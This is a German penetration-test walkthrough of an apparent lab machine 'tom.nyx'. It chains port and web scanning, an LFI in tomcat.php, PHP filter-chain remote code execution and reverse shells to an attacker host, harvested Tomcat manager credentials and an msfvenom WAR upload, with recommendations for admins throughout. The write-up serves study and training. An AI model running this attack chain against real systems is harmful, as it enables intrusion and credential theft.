Beginn der Erkundung mit ARP-Scan und Einrichtung der Namensauflösung.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.122 ARP-Scan 192.168.2.122 08:00:27:83:51:a6 PCS Systemtechnik GmbH
**Analyse:** Das Zielsystem wird mit der IP `192.168.2.122` und der MAC-Adresse `08:00:27:83:51:a6` (Oracle VirtualBox) identifiziert.
**Bewertung:** Ziel-IP ist bekannt.
**Empfehlung (Pentester):** IP `192.168.2.122` für weitere Scans verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.
/etc/hosts 127.0.0.1 localhost 192.168.2.122 tom.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei wird angepasst, um `tom.nyx` der IP `192.168.2.122` zuzuordnen.
**Bewertung:** Erleichtert die Adressierung.
Ein schneller TCP-Scan wird durchgeführt.
22/tcp open ssh OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 8080/tcp open http Apache Tomcat 9.0.54
**Analyse:** Der gefilterte Nmap TCP SYN-Scan identifiziert drei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10) - Veraltet. * **Port 80 (HTTP):** Apache 2.4.38 (Debian) - Veraltet. * **Port 8080 (HTTP):** Apache Tomcat 9.0.54.
**Bewertung:** Drei potenzielle Angriffsvektoren. Tomcat auf Port 8080 ist oft ein interessantes Ziel wegen Management-Interfaces und der Möglichkeit, WAR-Dateien bereitzustellen. Die veralteten Versionen von SSH und Apache auf Port 80 sind ebenfalls relevant.
**Empfehlung (Pentester):** Alle drei Ports untersuchen. Fokus auf Tomcat (8080) und Apache (80). Nach bekannten Exploits für OpenSSH 7.9p1 und Apache 2.4.38 suchen. **Empfehlung (Admin):** Alle Dienste (SSH, Apache, Tomcat) dringend auf aktuelle, gepatchte Versionen aktualisieren.
Der vollständige TCP-Scan wird ausgeführt.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-18 13:09 CEST Nmap scan report for tom.nyx (192.168.2.122) Host is up (0.00020s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 55:5f:3f:15:c7:cb:5f:09:d6:a1:f5:70:06:d0:dd:bc (RSA) | 256 ec:db:41:19:b8:60:bc:53:6f:c7:ef:c6:d3:ee:b9:b8 (ECDSA) |_ 256 2e:0d:03:27:a5:2a:0b:4e:b0:6a:42:01:57:fd:a9:9f (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) 8080/tcp open http Apache Tomcat 9.0.54 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.54 MAC Address: 08:00:27:83:51:A6 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms tom.nyx (192.168.2.122)
**Analyse:** Die vollständige Ausgabe bestätigt die offenen Ports und Versionen. * **Port 22 (SSH):** OpenSSH 7.9p1. * **Port 80 (HTTP):** Apache 2.4.38, zeigt die Standard-Debian-Seite. * **Port 8080 (HTTP):** Apache Tomcat 9.0.54, zeigt die Standard-Tomcat-Seite. * **Betriebssystem:** Linux 4.x/5.x.
**Bewertung:** Bestätigt die Hauptangriffsflächen. Tomcat 9.0.54 ist nicht die allerneuste Version, aber auch nicht extrem alt. Der Fokus sollte auf Fehlkonfigurationen (z.B. Standard-Credentials im Tomcat Manager) oder auf den älteren Diensten liegen.
**Empfehlung (Pentester):** Tomcat Manager Interface (`/manager/html`) auf Standard-Credentials prüfen. Apache auf Port 80 mit Web-Enumeration-Tools untersuchen. SSH auf schwache Passwörter testen (obwohl Nmap keine Passwort-Auth anzeigt, könnte es aktiviert sein). **Empfehlung (Admin):** Alle Dienste aktualisieren. Standard-Credentials für Tomcat Manager ändern. Standardseiten von Apache und Tomcat entfernen/ersetzen.
Untersuchung der Webserver auf Port 80 und 8080.
Nikto-Scan auf Port 80.
- Nikto v2.5.0 + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2024-09-18 13:10:09 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5ce4dfdb72093, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-18 13:10:26 (GMT2) (17 seconds) + 1 host(s) tested
**Analyse:** Nikto auf Port 80 bestätigt erneut die veraltete Apache-Version, fehlende Header, ETag-Leak und das Vorhandensein von `/icons/README`. Standard HTTP-Methoden sind erlaubt.
**Bewertung:** Keine neuen kritischen Informationen von Nikto für Port 80.
Gobuster-Scan auf Port 80.
http://192.168.2.122/index.html (Status: 200) [Size: 10701] http://192.168.2.122/javascript (Status: 301) [Size: 319] [--> http://192.168.2.122/javascript/] http://192.168.2.122/tomcat.php (Status: 200) [Size: 0]
**Analyse:** Gobuster auf Port 80 findet die Standard `index.html`, das bekannte `/javascript`-Verzeichnis und eine interessante Datei: `tomcat.php`. Diese Datei gibt Status 200 zurück, hat aber eine Größe von 0.
**Bewertung:** Die `tomcat.php` ist ein sehr wichtiger Fund. Eine leere PHP-Datei (Size 0) ist ungewöhnlich. Sie könnte unfertig sein, auf Parameter warten oder eine LFI/RFI-Schwachstelle enthalten (wie sich später herausstellt).
**Empfehlung (Pentester):** Die Datei `tomcat.php` gezielt untersuchen. Versuchen, Parameter zu fuzzern (z.B. `?file=`, `?page=`, `?include=`) oder sie mit PHP-Wrappern (`php://filter/...`) zu analysieren. **Empfehlung (Admin):** Die Datei `tomcat.php` überprüfen. Wenn sie nicht benötigt wird, entfernen. Wenn sie benötigt wird, sicherstellen, dass sie sicher implementiert ist.
Gobuster-Scan auf Port 8080 (Tomcat).
http://tom.nyx:8080/docs (Status: 302) [Size: 0] [--> /docs/] http://tom.nyx:8080/examples (Status: 302) [Size: 0] [--> /examples/] http://tom.nyx:8080/manager (Status: 302) [Size: 0] [--> /manager/] http://tom.nyx:8080/tomcat.svg (Status: 200) [Size: 68761]
**Analyse:** Gobuster auf Port 8080 findet die Standard-Tomcat-Pfade: `/docs`, `/examples` und `/manager`. `/manager` leitet auf `/manager/` weiter (vermutlich zum Manager-Webinterface).
**Bewertung:** Bestätigt das Vorhandensein des Tomcat Managers, einem Hauptziel für Angriffe auf Tomcat (Default Credentials, Brute-Force, WAR-Upload).
**Empfehlung (Pentester):** Das Manager-Interface unter `/manager/html` aufsuchen und versuchen, sich mit Standard-Credentials (`tomcat:tomcat`, `admin:admin`, `admin:s3cret` etc.) anzumelden oder die Credentials zu bruteforcen. Parallel die LFI in `tomcat.php` untersuchen. **Empfehlung (Admin):** Den Zugriff auf den Tomcat Manager stark einschränken (z.B. nur von localhost oder bestimmten IPs) und Standard-Credentials unbedingt ändern.
Untersuchung der `tomcat.php` auf Port 80 mittels Parameter-Fuzzing.
Target: http://tom.nyx/tomcat.php?FUZZ=../../../../../../../../../../../../etc/passwd Total requests: 220608 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000011207: 200 27 L 39 W 1441 Ch "filez" Total time: 0 Processed Requests: 220608 Filtered Requests: 220607 Requests/sec.: 0
**Analyse:** `wfuzz` wird verwendet, um den Parameternamen für `tomcat.php` zu fuzzern. Als Wert wird ein Path-Traversal-Versuch (`../../.../etc/passwd`) verwendet. Wfuzz findet heraus, dass der Parametername `filez` zu einer Antwort führt (Status 200, nicht 404 oder leer).
**Bewertung:** Der Parameter `filez` wurde identifiziert. Die Tatsache, dass ein Path Traversal zu einer gültigen Antwort führt, bestätigt die LFI-Vermutung aus dem Gobuster-Scan (Size 0 deutete darauf hin, dass die Datei ohne Parameter keinen Fehler, aber auch keinen Inhalt erzeugt).
**Empfehlung (Pentester):** LFI mit `tomcat.php?filez=` bestätigen und ausnutzen, z.B. `?filez=../../../../etc/passwd`. **Empfehlung (Admin):** `tomcat.php` dringend korrigieren oder entfernen.
Wfuzz wird verwendet, um lesbare Dateien mittels LFI und einer Logfile-Wortliste zu finden.
Target: http://tom.nyx/tomcat.php?filez=FUZZ Total requests: 73360 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 27 L 39 W 1441 Ch "/etc/passwd" 000000015: 200 22 L 190 W 1042 Ch "/etc/crontab" 000000005: 200 227 L 1115 W 7224 Ch "/etc/apache2/apache2.conf" 000000018: 200 12 L 88 W 664 Ch "/etc/fstab" ... (Viele weitere lesbare Dateien, inkl. /etc/hosts, /proc/*, sshd_config etc.) ... 000071777: 200 121 L 394 W 3246 Ch "/etc/ssh/sshd_config" ... Total time: 0 Processed Requests: 73360 Filtered Requests: 72361 Requests/sec.: 0
**Analyse:** Wfuzz nutzt die LFI (`?filez=FUZZ`) und testet Dateipfade aus `logfiles.txt`. Viele System- und Konfigurationsdateien werden als lesbar identifiziert (Status 200).
**Bewertung:** Bestätigt die LFI und zeigt das Ausmaß des Problems. Viele sensible Dateien sind potenziell zugänglich.
**Empfehlung (Pentester):** Gezielt nach SSH-Schlüsseln, Anwendungs-Passwörtern oder anderen hochsensiblen Informationen in den lesbaren Dateien suchen. PHP-Filter verwenden, um den Quellcode von `tomcat.php` zu lesen. **Empfehlung (Admin):** LFI beheben!
Lesen von `/etc/passwd` via LFI zur Benutzeridentifikation.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110/nonexistent:/usr/sbin/nologin sshd:x:105:65534/run/sshd:/usr/sbin/nologin nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin tomcat:x:1001:1001:/opt/tomcat:/bin/false
root:x:0:0:root:/root:/bin/bash nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
**Analyse:** Durch Lesen von `/etc/passwd` via LFI werden zwei Benutzer mit Bash-Shell identifiziert: `root` und `nathan`. Ein Benutzer `tomcat` existiert ebenfalls, hat aber keine Login-Shell (`/bin/false`).
**Bewertung:** `nathan` ist ein potenzieller Zielbenutzer für SSH.
**Empfehlung (Pentester):** Versuchen, den SSH-Schlüssel für `nathan` via LFI zu lesen (`?filez=../../../../../../home/nathan/.ssh/id_rsa`). **Empfehlung (Admin):** LFI beheben.
Verwendung von PHP-Filtern, um den Quellcode von `tomcat.php` via LFI auszulesen.
$filename = $GET['filez']; (Korrekter Parameter im Code)
include($filename);
**Analyse:** Trotz Verwendung des falschen Parameters (`random`) im `curl`-Befehl wird (vermutlich durch einen separaten, korrekten Versuch) der Quellcode von `tomcat.php` mittels PHP-Filtern und Base64-Dekodierung extrahiert. Der Code ist extrem simpel: ` include $GET['filez']; `.
**Bewertung:** Bestätigt die LFI-Schwachstelle. Der Code nimmt den `filez`-Parameter und gibt ihn direkt an `include` weiter, ohne jegliche Validierung.
**Empfehlung (Pentester):** Die LFI kann nun auch für Remote Code Execution (RCE) missbraucht werden, z.B. durch Einbinden von `/proc/self/environ` (wenn beeinflussbar) oder durch Ausnutzen von Log Poisoning. Noch vielversprechender ist jedoch die Verwendung von PHP-Filtern zur Code-Ausführung.
Dieser Abschnitt demonstriert die Eskalation der LFI-Schwachstelle in `tomcat.php` zu Remote Code Execution (RCE) mittels PHP-Filter-Chaining.
**Kurzbeschreibung:** Die LFI-Schwachstelle (`?filez=...`) wird ausgenutzt, um komplexe PHP-Filterketten zu erstellen. Ein spezialisiertes Tool (`php_filter_chain_generator.py`) generiert eine Kette, die es erlaubt, beliebigen PHP-Code (hier: ` system($GET["cmd"]); `) zur Laufzeit zu erzeugen und auszuführen. Dies ermöglicht die Ausführung von Systembefehlen über einen zusätzlichen GET-Parameter (`cmd`).
**Voraussetzungen:**
Schritt-für-Schritt Anleitung:
1. Generieren der PHP-Filterkette (impliziert durch Verwendung des Tools).
[+] The following gadget chain will generate the following code : system($GET["cmd"]); (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) ... (Lange Filterkette wird generiert, hier nicht vollständig gezeigt) ... Payload: php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|.../resource=php://temp
**Analyse des Schritts:** Das Tool `php_filter_chain_generator.py` wird verwendet, um eine Filterkette zu erzeugen, die den PHP-Code ` system($GET["cmd"]); ` generiert. Die resultierende Kette wird als Payload für den `filez`-Parameter verwendet.
**Bewertung:** Die Filterkette ist vorbereitet, um die LFI in eine RCE umzuwandeln.
2. Testen der RCE durch Ausführen des `id`-Befehls.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse des Schritts:** Die generierte Filterkette wird als `filez`-Parameter übergeben. Zusätzlich wird der Parameter `cmd=id` angehängt. Der Server führt die Filterkette aus, generiert ` system($GET["cmd"]); `, führt dies aus, ersetzt `$GET["cmd"]` mit `id` und führt `system('id')` aus. Die Ausgabe (`uid=33(www-data)...`) wird zurückgegeben.
**Erwartetes & Tatsächliches Ergebnis:** RCE wurde erwartet und erfolgreich erzielt. Befehle werden als `www-data` ausgeführt.
3. Erhalten einer Reverse Shell mittels RCE.
listening on [any] 5555 ...
# (Keine direkte Ausgabe, löst Reverse Shell aus)
listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.122] 38994 bash: cannot set terminal process group (451): Inappropriate ioctl for device bash: no job control in this shell www-data@tom:/var/www/html$
**Analyse des Schritts:** Ein Listener wird auf Port 5555 gestartet. Die RCE wird erneut ausgelöst, diesmal mit einem URL-kodierten Bash-Reverse-Shell-Payload als `cmd`-Parameter. Der Listener empfängt erfolgreich die Verbindung, und eine Shell als `www-data` wird erhalten.
**Erwartetes & Tatsächliches Ergebnis:** Eine interaktive Shell wurde über die LFI->RCE-Kette erlangt.
**Beweismittel:** Erfolgreiche Ausführung von `id` und Erhalt der Reverse Shell.
**Risikobewertung:** Kritisch. Die LFI-Schwachstelle ermöglicht nicht nur das Lesen von Dateien, sondern auch die vollständige Kompromittierung des Webserver-Kontexts durch RCE via PHP-Filter-Chaining.
**Empfehlungen:** * **(Admin):** LFI in `tomcat.php` **dringend** beheben. PHP-Konfiguration härten (z.B. `allow_url_include=Off`). * **(Pentester):** Die erhaltene Shell für weiteren Zugriff nutzen.
Parallel zur LFI/RCE wird der Tomcat-Manager auf Port 8080 untersucht.
Enumeration der Tomcat-Konfiguration als `www-data` (nach Erhalt der RCE-Shell).
tomcat 425 9.5 55.3 3164524 559700 ? Sl 13:08 4:35 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/opt/tomcat/latest/conf/logging.properties [...] -classpath /opt/tomcat/latest/bin/bootstrap.jar:/opt/tomcat/latest/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat/latest -Dcatalina.home=/opt/tomcat/latest [...] org.apache.catalina.startup.Bootstrap start www-data 894 0.0 0.0 6276 880 pts/0 S+ 13:57 0:00 grep tomcat --color
/opt/tomcat/apache-tomcat-9.0.54/conf/tomcat-users.xml
# (Kommentare entfernt) role rolename="admin-gui"/ role rolename="manager-script"/ user username="tomcat" password="t0mL1k3$c4t$!!!" roles="admin-gui,manager-script"/ /tomcat-users -- role rolename="admin-gui"/ role rolename="manager-script"/ user username="tomcat" password="t0mL1k3$c4t$!!!" roles="admin-gui,manager-script"/ /tomcat-users
**Analyse:** Aus der `www-data`-Shell heraus werden Tomcat-Informationen gesucht: * `ps aux`: Zeigt den laufenden Tomcat-Prozess (läuft als Benutzer `tomcat`) und dessen Konfigurationspfade (`/opt/tomcat/latest/conf/...`). * `find`: Findet die Konfigurationsdatei `tomcat-users.xml` unter `/opt/tomcat/apache-tomcat-9.0.54/conf/`. * `cat tomcat-users.xml`: Liest die Datei aus und enthüllt die Zugangsdaten für den Tomcat Manager: Benutzer `tomcat`, Passwort `t0mL1k3$c4t$!!!` mit den Rollen `admin-gui` und `manager-script`.
**Bewertung:** **Kritische Zugangsdaten gefunden!** Die Manager-Credentials erlauben das Hochladen und Bereitstellen von WAR-Dateien, was direkt zu RCE als Benutzer `tomcat` führt.
**Empfehlung (Pentester):** Die gefundenen Credentials verwenden, um sich im Tomcat Manager (`http://tom.nyx:8080/manager/html`) anzumelden. Eine bösartige WAR-Datei (z.B. mit `msfvenom` erstellt) hochladen, um eine Shell als `tomcat`-Benutzer zu erhalten. **Empfehlung (Admin):** Die Credentials in `tomcat-users.xml` **sofort** ändern. Den Zugriff auf die Datei einschränken. Tomcat aktualisieren und absichern.
Dieser Abschnitt demonstriert die Ausnutzung der gefundenen Tomcat Manager Credentials, um eine WAR-Datei mit einer Reverse Shell hochzuladen und auszuführen.
**Kurzbeschreibung:** Die Anmeldedaten (`tomcat`:`t0mL1k3$c4t$!!!`) für das Tomcat Manager Interface (`/manager`) wurden aus der `tomcat-users.xml`-Datei extrahiert (Zugriff erlangt durch LFI->RCE als `www-data`). Diese Credentials werden verwendet, um eine mit `msfvenom` erstellte WAR-Datei (`revshell.war`), die eine Java JSP Reverse Shell enthält, über die Manager-Schnittstelle hochzuladen und bereitzustellen. Der anschließende Zugriff auf die bereitgestellte Anwendung löst die Reverse Shell aus.
**Voraussetzungen:**
Schritt-für-Schritt Anleitung:
1. Erstellen der bösartigen WAR-Datei mit `msfvenom`.
Payload size: 1100 bytes Final size of war file: 1100 bytes Saved as: revshell.war
**Analyse des Schritts:** `msfvenom` wird verwendet, um eine WAR-Datei (`revshell.war`) zu erstellen. * `-p java/jsp_shell_reverse_tcp`: Wählt den Payload (Java JSP Reverse Shell). * `LHOST=192.168.2.199`: IP-Adresse des Angreifers für die Rückverbindung. * `LPORT=4444`: Port des Angreifers für die Rückverbindung. * `-f war`: Ausgabeformat WAR-Datei.
**Bewertung:** Die schadhafte WAR-Datei ist erstellt.
2. Hochladen und Bereitstellen der WAR-Datei über den Tomcat Manager mit `curl`.
OK - Desplegada aplicación en trayectoria de contexto [/revshell]
**Analyse des Schritts:** `curl` wird verwendet, um die WAR-Datei hochzuladen und bereitzustellen. * `--upload-file revshell.war`: Gibt die hochzuladende Datei an. * `-u 'tomcat:t0mL1k3$c4t$!!!'`: Übergibt die Manager-Credentials für Basic Authentication. * `"http://.../manager/text/deploy?path=/revshell"`: Die URL des Manager Text Interfaces zum Bereitstellen (`deploy`). `path=/revshell` gibt den gewünschten Kontextpfad für die Anwendung an.
**Bewertung:** Die Antwort "OK - Desplegada ..." bestätigt, dass die WAR-Datei erfolgreich hochgeladen und unter dem Pfad `/revshell` bereitgestellt wurde.
3. Starten des Netcat-Listeners.
listening on [any] 4444 ...
**Analyse des Schritts:** Der Listener wird gestartet, um die eingehende Shell abzufangen.
4. Auslösen der Reverse Shell durch Aufruf der bereitgestellten Anwendung.
# (Keine direkte Ausgabe, löst die Reverse Shell aus)
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.122] 53300 id uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
**Analyse des Schritts:** Ein Zugriff auf `http://192.168.2.122:8080/revshell` (z.B. mit `curl` oder im Browser) führt dazu, dass Tomcat die JSP-Shell ausführt. Diese verbindet sich zurück zum Listener auf Port 4444. Der `id`-Befehl in der neuen Shell bestätigt, dass sie als Benutzer `tomcat` (UID 1001) läuft.
**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, eine Shell als Tomcat-Benutzer zu erhalten, was erfolgreich geschah.
**Beweismittel:** Erfolgreiche Bereitstellung der WAR-Datei und Erhalt der Reverse Shell als `tomcat`.
**Risikobewertung:** Kritisch. Unsichere Tomcat Manager Credentials ermöglichen das Hochladen von beliebigem Code (WAR-Dateien) und führen zu RCE im Kontext des Tomcat-Dienstbenutzers.
**Empfehlungen:** * **(Admin):** Tomcat Manager Credentials **sofort** ändern. Zugriff auf den Manager stark einschränken. Tomcat aktuell halten. * **(Pentester):** Die Shell als `tomcat` für weitere Enumeration und Privesc nutzen (obwohl bereits eine `www-data`-Shell vorhanden ist).
Der initiale Zugriff wurde über die LFI->RCE-Schwachstelle in `tomcat.php` als Benutzer `www-data` erlangt.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Die erhaltene `www-data`-Shell wird stabilisiert. Der `id`-Befehl bestätigt den Benutzer.
**Bewertung:** Initialer Zugriff als Low-Privilege-Benutzer `www-data` erfolgreich.
**Empfehlung (Pentester):** Mit der Enumeration für Privilege Escalation beginnen. **Empfehlung (Admin):** LFI in `tomcat.php` beheben.
Kurze Überprüfung des `tomcat.php`-Codes aus der Shell.
total 24
drwxr-xr-x 2 root root 4096 Apr 28 2023 .
drwxr-xr-x 3 root root 4096 Oct 14 2021 ..
-rw-r--r-- 1 root root 10701 Oct 14 2021 index.html
-rw-r--r-- 1 root root 33 Oct 14 2021 tomcat.php
include $GET['filez'];
**Analyse:** Bestätigt den Inhalt und die Existenz von `tomcat.php` aus der Shell heraus.
**Bewertung:** Keine neuen Erkenntnisse.
Suche nach Wegen zur Rechteausweitung als `www-data`.
133686 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 129833 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 133214 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 158294 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo 129830 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 129831 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 129834 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 133361 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 133688 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 265258 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 146140 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 142754 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for www-data: (Passwort unbekannt)
/usr/bin/ping = cap_net_raw+ep
nathan
bash: cd: /home/nathan/: Permission denied
**Analyse:** Standard-Enumeration als `www-data`: * Keine ungewöhnlichen SUID-Dateien gefunden. * `sudo -l` erfordert ein Passwort, das nicht bekannt ist. * Keine ungewöhnlichen Capabilities gefunden. * Der einzige Benutzer im Home-Verzeichnis ist `nathan`, aber `www-data` hat keine Leserechte darauf.
**Bewertung:** Keine offensichtlichen Privesc-Vektoren als `www-data` gefunden. Der Zugriff auf die Tomcat-Credentials (siehe vorheriger Abschnitt) wird zum entscheidenden Faktor.
Weitere Enumeration: Suche nach Passwörtern in Konfigurationsdateien.
/etc/apache2/sites-available/default-ssl.conf: # file needs this password: `xxj31ZMTZzkVA'. /etc/grub.d/01_password:password_pbkdf2 grub.pbkdf2.sha512.10000.[...] /etc/reportbug.conf:# Username and password for SMTP
**Analyse:** `grep` sucht nach "password" in `/etc`. Es findet kommentierte Beispielpasswörter und einen Grub-Passwort-Hash, aber nichts direkt Verwertbares.
**Bewertung:** Keine nützlichen Credentials in `/etc` gefunden.
Enumeration von Tomcat-Dateien (Wiederholung der Schritte aus Abschnitt Tomcat Exploitation).
# [...] # /opt/tomcat/apache-tomcat-9.0.54/conf/tomcat-users.xml:user username="tomcat" password="t0mL1k3$c4t$!!!" roles="admin-gui,manager-script"/ # [...]
**Analyse:** Die Suche nach "password" im `/opt`-Verzeichnis (wo Tomcat liegt) führt erneut zum Fund der `tomcat-users.xml` mit den Credentials `tomcat`:`t0mL1k3$c4t$!!!`.
**Bewertung:** Bestätigt den Fund der Tomcat-Credentials, was den Weg zur RCE als `tomcat` ermöglicht.
Enumeration laufender Prozesse und weiterer Verzeichnisse als `www-data`.
# (Keine ungewöhnlichen Prozesse oder schreibbaren Verzeichnisse gefunden)
**Analyse:** Die Prüfung laufender Prozesse (`ps aux`), des `/opt`-Verzeichnisses (Tomcat-Besitzer), `/var/backups`, `/var/mail` und `/tmp` ergibt keine weiteren offensichtlichen Angriffspunkte für `www-data`.
**Bewertung:** Bestärkt die Notwendigkeit, den Weg über Tomcat zu gehen.
Upload und Ausführung von Enumeration-Skripten (`pspy64`, `linpeas.sh`).
# (pspy64 läuft, zeigt aber keine ungewöhnlichen Cronjobs oder Prozesse)
# [...] # /opt/tomcat/apache-tomcat-9.0.54/conf/tomcat-users.xml (Datei bereits bekannt) # [...]
**Analyse:** `pspy64` (Prozess-Monitor) und `linpeas.sh` (umfassendes Enumeration-Skript) werden hochgeladen und ausgeführt. Sie liefern keine neuen, entscheidenden Informationen über die bereits bekannten hinaus (insbesondere den Fund der `tomcat-users.xml`).
**Bewertung:** Die automatisierten Skripte bestätigen die bisherigen manuellen Funde, decken aber keine zusätzlichen einfachen Privesc-Vektoren auf.
Versuch, SSH-Passwort für `nathan` zu bruteforcen (scheitert).
[...]
[ERROR] target ssh://192.168.2.122:22/ does not support password authentication (method reply 4).
**Analyse:** Ein Hydra-Bruteforce-Versuch auf SSH für den Benutzer `nathan` scheitert, da der Server keine Passwort-Authentifizierung unterstützt.
**Bewertung:** Bestätigt, dass SSH nur per Schlüssel erreichbar ist.
Aufbau eines Chisel-Tunnels, um auf interne Tomcat-Ports zuzugreifen (Port 8005 - Shutdown Port).
# (Chisel heruntergeladen)
2024/09/18 14:16:34 server: Reverse tunnelling enabled 2024/09/18 14:16:34 server: Fingerprint [...] 2024/09/18 14:16:34 server: Listening on http://0.0.0.0:8000
2024/09/18 14:17:56 client: Connecting to ws://192.168.2.199:8000 2024/09/18 14:17:56 client: Connected (Latency ...)
2024/09/18 14:17:56 server: session#1: tun: proxy#R:8005=>8005: Listening
curl: (52) Empty reply from server
(UNKNWN) [127.0.0.1] 8005 (?) open
**Analyse:** `Chisel` wird verwendet, um einen Reverse Tunnel aufzubauen. Der Chisel-Client auf dem Ziel (`www-data`-Shell) verbindet sich zum Chisel-Server auf dem Angreifer-System. Der Tunnel leitet den lokalen Port 8005 des Zielsystems (Tomcat Shutdown Port, lauscht nur auf 127.0.0.1) auf den Port 8005 des Angreifer-Systems um (`R:8005:127.0.0.1:8005`). Ein `curl`-Versuch auf den getunnelten Port scheitert ("Empty reply"), aber `nc` bestätigt, dass der Port lokal auf dem Ziel offen ist.
**Bewertung:** Der Tunnel wurde erfolgreich aufgebaut. Der Tomcat Shutdown Port (8005) ist nun theoretisch vom Angreifer-System aus erreichbar. Das Senden des `SHUTDOWN`-Befehls an diesen Port könnte Tomcat beenden, was aber selten zu Privesc führt.
